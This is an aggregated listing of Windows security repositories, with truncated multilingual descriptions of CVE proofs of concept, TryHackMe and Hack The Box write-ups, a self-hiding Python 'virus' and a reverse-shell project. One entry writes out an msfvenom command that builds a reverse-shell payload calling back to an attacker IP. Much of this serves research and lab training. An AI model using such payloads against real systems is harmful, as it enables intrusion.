THM-Tempest

TryHackMe — Tempest SOC Level 1 Pathway | インシデントレスポンス調査 概要 侵害されたWindowsマシンの完全なインシデントレスポンス調査。攻撃者は、CVE-2022-30190（Follina）を悪用した悪意のあるWord文書を介して初期アクセスを獲得し、永続化を確立し、Chiselを使用してネットワークをトンネリングし、PrintSpooferを介して権限を昇格させ、永続的な悪意のあるサービスでバックドアアカウントを作成しました。 期間: 2022年6月20日～21日 ツール: EvtxEcmd, Timeline Explorer,...

Palsy-Virus

Palsy Virus 開くとPCを麻痺させ、自身を隠してレジストリのスタートアップに追加するPythonウイルス ^^ プラットフォーム : -- Windows のみ :P...

CVE-2023-3897

CVE-2023-3897 通过绕过CAPTCHA，在Windows部署的本地SureMDM解决方案中可以实现用户名枚举，攻击者可以通过错误消息枚举本地用户信息。 该问题影响SureMDM本地版：6.31及以下版本 https://nvd.nist.gov/vuln/detail/CVE-2023-3897 https://www.42gears.com/trust-center/information-security/security-advisories/42g-2023-003/ https://www.exploit-db.com/exploits/51804...

CVE-2024-4577

PHP-CGI Windows平台远程代码执行漏洞CVE-2024-4577 简介 PHP是Hypertext Preprocessor超文本预处理器的缩写，现是一种广泛使用的开源的脚本语言，它特别适合Web开发和嵌入HTML中，使用起来很简单。 CGI，英文叫做公共网关接口，就是Apache在遇到PHP脚本时会将PHP程序提交给CGI应用程序php-cgi.exe解释，解释之后的结果返回给Apache，然后再返回给相应的请求用户。 漏洞描述...

CVE-2024-24576-PoC

CVE-2024-24576 PoC Command::arg および Command::args API は、ドキュメントにおいて、引数がそのまま生成されたプロセスに渡され、引数の内容にかかわらずシェルによって評価されることはないと述べています。つまり、信頼できない入力を引数として渡しても安全であるはずです。 Windows では、この実装は他のプラットフォームよりも複雑です。Windows API は生成されたプロセスに渡すすべての引数を含む単一の文字列しか提供せず、それらを分割するのは生成されたプロセスの役割だからです。ほとんどのプログラムは標準 C ランタイムの argv...

CVE-2019-5392-for-Python3

CVE 2019-5392用のPython3互換バージョン。python2.7をインストールする必要はありません。python3がインストールされたターミナルで実行してください。 使い方: cve.py python3 cve.py 2810 "C:\Windows\Temp"...

CVE-2023-28252

CVE-2023-28252 Windows の脆弱性 CVE-2023-28252 に関する学びの TL;DR それで、今週末は Hack The Box の Aero マシンに取り組んでいました。実際の攻撃を Windows 11 マシンに対して再現できると、このボックスをプレイするのはとても楽しいです。完了後、権限昇格エクスプロイトがどのように動作するのか非常に興味を持ち、知りたいと思いました。そこで主に、エクスプロイトの作者が書いた記事 1...

thm-ice-icecast-rce-privesc

TryHackMe — Ice: Icecast 2.0.1 RCE と Windows 権限昇格 プラットフォーム: TryHackMe ターゲットOS: Windows 7 / Windows Server 2008 R2 難易度: 簡単 カテゴリ: バッファオーバーフロー RCE, ローカル権限昇格 概要 このレポートは、TryHackMe 上の Ice マシンの完全な侵害プロセスを、初期偵察から SYSTEM レベルの権限昇格までを文書化しています。ターゲットは、古い Icecast 2.0.1 ストリーミングメディアサーバーを公開しており、細工された HTTP...

PrintNightmare

TryHackMe | PrintNightmare PrintNightmare Learn about the vulnerability known as PrintNightmare CVE-2021-1675 and CVE-2021-34527 Tarea 6 Detección: Registros de eventos de Windows Visor de eventos Registros de aplicaciones y servicios Microsoft Windows PrintService Admin...

legacyshield-CVE-2017-0144

LegacyShield — Módulo EternalBlue Una aplicación de seguridad de escritorio para Windows que proporciona un control compensatorio defensivo para sistemas aún expuestos a CVE-2017-0144 MS17-010 / EternalBlue — más comúnmente instalaciones heredadas o no compatibles de Windows que ya no pueden...

CVE-2026-41089

🚨 CVE-2026-41089 - 重大なWindows Netlogonリモートコード実行（RCE） ⚠️ 重要なWindows Netlogonの脆弱性で、認証されていないリモートコード実行をドメインコントローラーに対して可能にします。 📖 概要 CVE-2026-41089 は、Windows Netlogon サービスに影響を与える重大な脆弱性です。 この欠陥は スタックベースのバッファオーバーフロー に起因し、リモートの攻撃者が特別に細工したリクエストを脆弱なドメインコントローラーに送信することで任意のコードを実行できるようにします。 影響 リモートコード実行 RCE 認証不要...

Windows-Privilege-Escalation-CVE-2021-1732

Windows 特権昇格 CVE-2021-1732 影響を受ける Windows バージョン: Win10 1803 - 20H2, WinServer 2019, 2004 スクリーンショット: ブログで詳細を読む:- https://www.exploitblizzard.com/post/windows-privilege-escalation-cve-2021-1732...

CVE-2022-44666

Microsoft Windows Contacts VCF/Contact/LDAP syslink コントロールの href 属性エスケープ脆弱性 CVE-2022-44666 0day. これは、John Page aka hyp3rlinxR.1 によって 4 年以上前に完全に開示された、別の忘れ去られた 0day の話です。このレポートを理解するには、私が愚かであることを考慮する必要があります :-...

cve-2025-24054

CVE-2025-24071：通过 .library-ms 文件泄漏 NTLM Hash（Metasploit 模块） 此仓库包含一个 Metasploit 模块 ，用于利用 CVE-2025-24071——Windows 资源管理器中的漏洞，当从 ZIP 存档中提取恶意的 .library-ms 文件时，会泄漏 NTLM Hash。 开发者：FOLKS-IWD 概述 该漏洞发生在用户提取包含特制 .library-ms 文件的 ZIP 存档时。Windows 资源管理器会自动向文件中指定的远程服务器发起 SMB 认证请求，在无需用户交互的情况下泄漏用户的 NTLM Hash。 此...

Priv2Admin

このアイデアは、Windows OSの特権を以下のようなパスに「変換」することです： 1. 管理者権限, 2. 整合性および/または機密性への脅威, 3. 可用性への脅威, 4. 単なる混乱. 特権の一覧と説明は以下にあります：https://learn.microsoft.com/en-us/windows/win32/secauthz/privilege-constants 目標を複数の方法で達成できる場合、優先順位は 1. 組み込みコマンドを使用 2. PowerShellを使用（動作するスクリプトが存在する場合のみ） 3. OS以外のツールを使用 4. その他の方法を使用...

Preproduce-CVE-2019-0232

CVE-2019-0232 - Apache Tomcat CGI Servlet Remote Code Execution このリポジトリは、Windows 上の Apache Tomcat 9.0.17 における CVE-2019-0232 脆弱性を再現するための Docker ベースのラボ環境を提供します。 脆弱性概要 CVE-2019-0232 は、Windows 上で動作する Apache Tomcat CGI Servlet におけるリモートコード実行の脆弱性です。この問題は、enableCmdLineArguments パラメータが true...

MS17-010_CVE-2017-0143

MS17-010 🖥️ -h3x0v3rl0rd- ️⃣ CVE-2017-0143 Docker msfvenom を使用してペイロードを生成する: root@kitploit: msfvenom -p windows/shellreversetcp LHOST=10.10.14.19 LPORT=1337 -f exe -o ms17-010.exe -p windows/shellreversetcp: ペイロードを指定します（Windows用のリバースTCPシェル）。 LHOST=10.10.14.4: 攻撃者のIPアドレス（ターゲットが接続し返す先）。 LPORT=443:...

WIn-CVE-2021-31166

WIn-CVE-2021-31166 このリポジトリ は、0vercl0k の CVE-2021-31166（「HTTP プロトコルスタックのリモートコード実行の脆弱性」）の概念実証にインスパイアされています。これは、http.sys における use-after-free の逆参照で、Microsoft が 2021 年 5 月に修正しました。 ビルドインフラストラクチャ root@kitploit: git clone https://github.com/bgsilvait/WIn-CVE-2021-31166.git cd WIn-CVE-2021-31166 terraform...

CVE-2023-36884-MS-Office-HTML-RCE

CVE-2023-36884：利用特制文档实现 MS Office HTML 远程代码执行 2023年7月11日，微软发布了一个补丁，旨在解决多个正在被积极利用的远程代码执行（RCE）漏洞。此次行动还揭露了一场由名为 Storm-0978 的威胁行为者策划的网络钓鱼攻击活动，该活动专门针对欧洲和北美的组织。这场攻击活动的核心是一个被指定为 CVE-2023-36884 的零日漏洞，该漏洞允许攻击者通过精心构造的 Office Open XML（OOXML）文档利用 Windows...

RevShell

🔥 RevShell Project — Advanced Windows Reverse Shell root@kitploit: ██▀███ ▓█████ ██▒ █▓ ██████ ██░ ██ ▓█████ ██▓ ██▓ ▓██ ▒ ██▒▓█ ▀ ▓██░ █▒ ▒██ ▒ ▓██░ ██▒ ▓█ ▀ ▓██▒ ▓██▒ ▓██ ░▄█ ▒▒███ ▓██ █▒░ ░ ▓██▄ ▒██▀▀██░ ▒███ ▒██░ ▒██░ ▒██▀▀█▄ ▒▓█ ▄ ▒██ █░░ ▒ ██▒░▓█ ░██ ▒▓█ ▄ ▒██░ ▒██░ ░██▓ ▒██▒░▒████▒ ▒▀█░...